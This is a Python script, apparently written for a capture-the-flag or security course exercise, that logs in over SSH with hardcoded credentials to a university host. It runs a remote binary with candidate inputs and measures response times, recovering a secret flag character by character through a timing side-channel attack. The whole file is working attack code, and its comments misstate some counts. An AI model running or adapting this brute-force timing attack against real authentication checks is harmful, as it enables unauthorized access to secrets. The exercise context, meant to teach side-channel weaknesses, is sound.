import string
import operator
import sys
import traceback
import paramiko
import itertools
import statistics
import pickle
import base64
import re
from shlex import quote

NSAMPLES = 4
DEBUG = False

key = paramiko.ECDSAKey(data=base64.b64decode("AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBG6BMhE8iR+OoCjLDQ9GPJjHY3yfk/tC5VBUC4mLdJ3EbaUlNjfAyE5cbW6dxH3AVNSXTTOaRDSsVI82Lv0brtg="))
client = paramiko.SSHClient()
client.get_host_keys().add('agile019.science.uva.nl', 'ecdsa-sha2-nistp256', key)
client.connect('agile019.science.uva.nl', username='hackme3', password='tryMeMore')

def try_option(chars):
    shell_quoted = quote(chars)
    stdin, stdout, stderr = client.exec_command('./main '+shell_quoted)
    res = [*stdout]
    if len(res) == 0:
        print("Warning: no result from command?")
        return
    if DEBUG:
        print(res[0].strip())
    return res[0].strip()

def mean_try_option(chars, samples=None):
    results = []
    for i in range(samples or NSAMPLES):
        output = try_option(chars)
        while '-' in output and 'seconds' in output:
            output = try_option(chars)
        results.append(output)

    try:
        times = [float(re.search(r'(-?\d+.\d+)', result).group(1)) for result in results]
        mean_time = statistics.mean(times)
    except:
        print(f"Found key? results: {results}")
        print(f"Chars: {chars!r}")
        sys.exit(1)
    return mean_time

def try_possibilities(base, possibilities, samples=None):
    time_map = {}

    try:
        current_max_val = 0
        current_max_key = None

        for possibility in possibilities:
            possibility = base + ''.join(possibility)
            mean_time = mean_try_option(possibility, samples)
            if (mean_time > current_max_val):
                current_max_val = mean_time
                current_max_key = possibility
            print("Mean time for pair %r: %f (current max is %r at %f)" % (possibility, mean_time, current_max_key, current_max_val))
            time_map[possibility] = mean_time

        print("Max time for key %r: %f" % (current_max_key, current_max_val))
    except:
        traceback.print_exc()

    return time_map

def find_next_n(base, n, char_range=None):
    char_range = char_range or map(chr, range(0x20, 0x7f))
    possibilities = itertools.product(char_range, repeat=n)

    # Step 1. do a simple run through all possibilities
    tm1 = try_possibilities(base, possibilities, samples=10)

    # Step 2. select 100 worst performing possibilities
    sorted_tm1 = sorted(tm1.items(), key=operator.itemgetter(1), reverse=True)
    worst_performing_100 = sorted_tm1[:15]

    # Step 3. retry those with more samples
    possibilities = [x[0] for x in worst_performing_100]
    tm2 = try_possibilities('', possibilities, samples=200)

    # Step 4. select worst performing from that set, and return it.
    worst_pair = max(tm2.items(), key=operator.itemgetter(1))
    print("Most likely partial key: %r (%f seconds)" % worst_pair)
    return worst_pair[0]

def find_key(base):
    while True:
        base = find_next_n(base, 1)

find_key('flag')

client.close()

